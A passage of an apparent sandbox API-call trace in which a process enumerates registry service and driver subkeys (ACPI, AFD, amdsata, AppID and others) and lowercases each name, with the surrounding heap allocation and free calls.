dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1460, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.213] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1418, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.213] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0166.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.214] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0166.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0166.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0166.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.214] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0166.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0166.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.279] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0166.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0166.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1418, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0166.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.279] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0166.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0166.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.279] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0166.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.280] RegEnumKeyW (in: hKey=0x140, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.280] RegEnumKeyW (in: hKey=0x140, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.280] RegEnumKeyW (in: hKey=0x140, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1460, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0166.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.281] RegEnumKeyW (in: hKey=0x140, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.281] RegEnumKeyW (in: hKey=0x140, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.281] RegEnumKeyW (in: hKey=0x140, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.281] RegEnumKeyW (in: hKey=0x140, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0166.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.282] RegEnumKeyW (in: hKey=0x140, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.282] RegEnumKeyW (in: hKey=0x140, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.282] RegEnumKeyW (in: hKey=0x140, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.282] RegEnumKeyW (in: hKey=0x140, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0166.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.283] RegEnumKeyW (in: hKey=0x140, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.283] RegEnumKeyW (in: hKey=0x140, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.283] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 